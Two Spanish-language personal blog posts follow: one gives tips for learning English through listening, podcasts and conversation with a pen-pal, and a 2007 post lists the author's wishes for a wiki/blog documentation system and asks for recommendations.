Como saben para aprender una nueva lengua hay que seguir un entrenamiento diario y sentirse agusto en todo el proceso. La motivacion es la clave de todo aprendizaje!

Tenemos que dedicar tiempo en la practica de las cuatro disciplinas de todo lenguaje(la escucha, lectura, escritura y el habla). Dandole la misma importancia a cada una de ellas ya que la peor que se nos de limitara al resto.

Bajo mi punto de vista, la mejor manera de estudiar otra lengua es dejar la gramatica para mas adelante e imaginar que somos niños pequeños que estamos aprendiendo a hablar. En aquel entonces nos dedicabamos a escuchar e imitar a diario. Cuando aprendimos a escuchar y decir las fraces basicas nos llevaron al colegio donde aprendimos a leer y escribir. Y al final, sin dejar de estudiar todo lo anterior, nos enseñaron la dichosa gramatica. Intentar aprender de otra manera es una perdida de tiempo.

Sin ir mas lejos yo mismo llevo estudiando ingles desde el colegio y todavia no soy incapaz de mantener una conversacion basica de manera natural. El motivo es que en realidad lo que hago es traducir del mi lengua nativa al ingles haciendo uso de las reglas gramaticales que he memorizado. Esto es realmente frustrante y agotador!. Para solucionarlo, he decidido planificar un metodo personal de estudio del que tal vez puedas sacar provecho.

Para hacer el oido al ingles empeze descargando series americanas subtituladas con un cliente de bittorrent. Realmente se puede deducir por el contexto que es lo que estan diciendo.

Mas adelante combine lo anterior con la escucha de podcasts y lectura de sus transcripciones. Empezando por este y continuando con estos dos mas avanzados 1, 2.

Lo siguiente fue conocer a una persona como yo interesada en mejorar su ingles. Y a partir de entonces me escribo con ella un correo contando lo que hemos hecho cada dia. Entre semana de vez encuando tenemos algun esporadico chat y los fines de semana nos hacemos una llamada mediante skype para hablar un rato.

En el caso de no sentirte todavia preparado para hablar en ingles, puedes empezar practicando con las actividades de esta pagina.

La verdad que con los podcast he notado una gran mejoria en mi listening y las conversaciones con mi amiga china ademas de el eriquezimiento cultural que suponen me resulta una manera divertida de practicar.

Por ultimo aparte de desearte suerte te dare mi mejor consejo: No intentes comertelo todo en un dia! Busca algo que te guste hacer e intenta meterle de por medio el ingles y cuando lo consigas hazlo un habito diario.

Necesidad de un sistema de documentacion y comparticion de informacion

2007-06-02T19:38:00.000Z

Hola, mundo! Bueno, mundo hispanohablante.

Desde siempre he sido una persona con muchas inquietudes y muy mala memoria. Por lo que hace tiempo que llevo planeando tener un wiki/blog para anotar y compartir mis experiencias.

Desgraciadamente todavia no he encontrado un sistema que se adapte a mis necesidades.

Estas son las principales:

1- Disponer de Herramientas de edicion estructurada para amplios tipos de conenidos. Desde resaltado de sintaxis para lenguages de programacion pasando por el soporte de latex, hasta la posibilidad de edicion WYSIWYG y creacion de diagramas UML.

2- Poder añadir y modificar contenidos sin necesidad de estar conectado a la red y que estos se sincronizen automaticamente cuando disponga de ella. Aqui se hace necesaria una alta compatibilidad con dispositivos moviles.

3- Permitir la edicion colaborativa y control de revisiones. Es decir, mantener escencia del wiki a diferencia de un simple blog con comentarios.

4- Que sea extensible y portable para adaptarlo a las nuevas necesidades personales y poder reutilizar los contendios en otros sistemas.

5- Capacidad de realizar busquedas de una manera mas cercana a los humanos.

Sinceramente, no creo que un sistema asi exista todavia. Es mas, seguro que pasaran años para ver algo decente. Pero por siacaso me equivoco, Que me recomendarian ustedes?